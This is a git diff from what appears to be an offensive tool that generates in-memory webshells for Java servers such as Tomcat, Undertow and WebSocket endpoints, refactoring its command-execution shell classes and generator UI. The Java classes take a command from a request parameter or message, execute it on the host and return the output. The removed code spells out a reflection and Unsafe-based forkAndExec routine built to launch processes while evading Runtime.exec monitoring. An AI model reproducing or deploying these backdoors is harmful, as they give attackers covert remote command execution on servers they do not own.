System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-103
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/5/15
|
* @since 2025/5/15
|
||||||
*/
|
*/
|
||||||
public class CommandUndertowServletHandler {
|
public class CommandUndertowServletHandler {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean equals(Object obj) {
|
public boolean equals(Object obj) {
|
||||||
Object[] args = ((Object[]) obj);
|
Object[] args = ((Object[]) obj);
|
||||||
@@ -32,12 +36,7 @@ public class CommandUndertowServletHandler {
|
|||||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -51,99 +50,4 @@ public class CommandUndertowServletHandler {
|
|||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+30
-131
@@ -3,26 +3,49 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
import org.apache.catalina.Valve;
|
import org.apache.catalina.Valve;
|
||||||
import org.apache.catalina.connector.Request;
|
import org.apache.catalina.connector.Request;
|
||||||
import org.apache.catalina.connector.Response;
|
import org.apache.catalina.connector.Response;
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
|
private String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
|
try {
|
||||||
|
if (cmd != null) {
|
||||||
|
InputStream inputStream = getInputStream(cmd);
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
|
}
|
||||||
|
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
public CommandValve() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Valve getNext() {
|
public Valve getNext() {
|
||||||
return this.next;
|
return this.next;
|
||||||
@@ -41,128 +64,4 @@ public class CommandValve implements Valve {
|
|||||||
@Override
|
@Override
|
||||||
public void backgroundProcess() {
|
public void backgroundProcess() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getParam(String param) {
|
|
||||||
return param;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
|
||||||
String cmd = getParam(request.getParameter(paramName));
|
|
||||||
try {
|
|
||||||
if (cmd != null) {
|
|
||||||
InputStream inputStream = null;
|
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
|
||||||
byte[] buf = new byte[8192];
|
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
+5
-105
@@ -1,7 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import javax.websocket.Endpoint;
|
import javax.websocket.Endpoint;
|
||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
@@ -9,8 +7,6 @@ import javax.websocket.Session;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||||
@@ -26,15 +22,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(String cmd) {
|
public void onMessage(String cmd) {
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(getParam(cmd));
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(getParam(cmd));
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
|
|
||||||
}
|
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
@@ -51,101 +46,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onOpen(final Session session, EndpointConfig config) {
|
public void onOpen(final Session session, EndpointConfig config) {
|
||||||
this.session = session;
|
this.session = session;
|
||||||
|
|||||||
@@ -120,6 +120,8 @@ export function MainConfigCard({
|
|||||||
const handleShellToolChange = (value: string) => {
|
const handleShellToolChange = (value: string) => {
|
||||||
const resetCommand = () => {
|
const resetCommand = () => {
|
||||||
form.resetField("commandParamName");
|
form.resetField("commandParamName");
|
||||||
|
form.resetField("implementationClass");
|
||||||
|
form.resetField("encryptor");
|
||||||
};
|
};
|
||||||
|
|
||||||
const resetGodzilla = () => {
|
const resetGodzilla = () => {
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
import { env } from "@/config";
|
import { env } from "@/config";
|
||||||
import { FormSchema } from "@/types/schema";
|
import { FormSchema } from "@/types/schema";
|
||||||
import { useQuery } from "@tanstack/react-query";
|
import { useQuery } from "@tanstack/react-query";
|
||||||
import { useEffect, useState } from "react";
|
|
||||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "../ui/card";
|
import { Card, CardContent } from "../ui/card";
|
||||||
@@ -18,36 +17,24 @@ export function CommandTabContent({
|
|||||||
shellTypes,
|
shellTypes,
|
||||||
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
const { data } = useQuery<Array<string>>({
|
const { data } = useQuery<{ encryptors: Array<string>; implementationClasses: Array<string> }>({
|
||||||
queryKey: ["commandEncryptor"],
|
queryKey: ["commandConfigs"],
|
||||||
queryFn: async () => {
|
queryFn: async () => {
|
||||||
const response = await fetch(`${env.API_URL}/config/command/encryptors`);
|
const response = await fetch(`${env.API_URL}/config/command/configs`);
|
||||||
return await response.json();
|
return await response.json();
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
const rawEncryptors = data ?? [];
|
|
||||||
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
|
|
||||||
|
|
||||||
const shellType = form.watch("shellType");
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
if (shellType.startsWith("Agent")) {
|
|
||||||
setEncryptors(["RAW"]);
|
|
||||||
} else {
|
|
||||||
setEncryptors(rawEncryptors);
|
|
||||||
}
|
|
||||||
}, [shellType, rawEncryptors]);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<FormProvider {...form}>
|
||||||
<TabsContent value="Command">
|
<TabsContent value="Command">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
<div className="grid grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="commandParamName"
|
name="commandParamName"
|
||||||
@@ -57,7 +44,7 @@ export function CommandTabContent({
|
|||||||
{t("shellToolConfig.paramName")} {t("optional")}
|
{t("shellToolConfig.paramName")} {t("optional")}
|
||||||
</FormLabel>
|
</FormLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
@@ -74,8 +61,31 @@ export function CommandTabContent({
|
|||||||
<SelectValue placeholder={t("placeholders.select")} />
|
<SelectValue placeholder={t("placeholders.select")} />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<SelectContent key={data?.join(",")}>
|
<SelectContent>
|
||||||
{encryptors?.map((v) => (
|
{data?.encryptors?.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="implementationClass"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="gap-1">
|
||||||
|
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.implementationClass")}</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value} defaultValue="RuntimeExec">
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder={t("placeholders.select")} />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{data?.implementationClasses?.map((v) => (
|
||||||
<SelectItem key={v} value={v}>
|
<SelectItem key={v} value={v}>
|
||||||
{v}
|
{v}
|
||||||
</SelectItem>
|
</SelectItem>
|
||||||
|
|||||||
@@ -111,7 +111,8 @@
|
|||||||
"pass": "Pass",
|
"pass": "Pass",
|
||||||
"suo5Header": "AdvanceConfiguration -> Request Header",
|
"suo5Header": "AdvanceConfiguration -> Request Header",
|
||||||
"base64String": "Shell Class",
|
"base64String": "Shell Class",
|
||||||
"encryptor": "Encryptor"
|
"encryptor": "Encryptor",
|
||||||
|
"implementationClass": "ImplementationClass"
|
||||||
},
|
},
|
||||||
"success": {
|
"success": {
|
||||||
"generated": "Generation successful"
|
"generated": "Generation successful"
|
||||||
|
|||||||
@@ -111,7 +111,8 @@
|
|||||||
"pass": "密码",
|
"pass": "密码",
|
||||||
"suo5Header": "高级配置 -> 请求头",
|
"suo5Header": "高级配置 -> 请求头",
|
||||||
"base64String": "内存马类",
|
"base64String": "内存马类",
|
||||||
"encryptor": "加密器"
|
"encryptor": "加密器",
|
||||||
|
"implementationClass": "实现类"
|
||||||
},
|
},
|
||||||
"success": {
|
"success": {
|
||||||
"generated": "生成成功"
|
"generated": "生成成功"
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ export const formSchema = z.object({
|
|||||||
behinderPass: z.optional(z.string()),
|
behinderPass: z.optional(z.string()),
|
||||||
antSwordPass: z.optional(z.string()),
|
antSwordPass: z.optional(z.string()),
|
||||||
commandParamName: z.optional(z.string()),
|
commandParamName: z.optional(z.string()),
|
||||||
|
implementationClass: z.optional(z.string()),
|
||||||
headerName: z.optional(z.string()),
|
headerName: z.optional(z.string()),
|
||||||
headerValue: z.optional(z.string()),
|
headerValue: z.optional(z.string()),
|
||||||
injectorClassName: z.optional(z.string()),
|
injectorClassName: z.optional(z.string()),
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ export interface ShellToolConfig {
|
|||||||
headerValue?: string;
|
headerValue?: string;
|
||||||
shellClassBase64?: string;
|
shellClassBase64?: string;
|
||||||
encryptor?: string;
|
encryptor?: string;
|
||||||
|
implementationClass?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface CommandShellToolConfig {
|
export interface CommandShellToolConfig {
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ export function transformToPostData(formValue: FormSchema) {
|
|||||||
headerValue: formValue.headerValue,
|
headerValue: formValue.headerValue,
|
||||||
shellClassBase64: formValue.shellClassBase64,
|
shellClassBase64: formValue.shellClassBase64,
|
||||||
encryptor: formValue.encryptor,
|
encryptor: formValue.encryptor,
|
||||||
|
implementationClass: formValue.implementationClass,
|
||||||
};
|
};
|
||||||
|
|
||||||
const injectorConfig: InjectorConfig = {
|
const injectorConfig: InjectorConfig = {
|
||||||
|
|||||||
Reference in New Issue
Block a user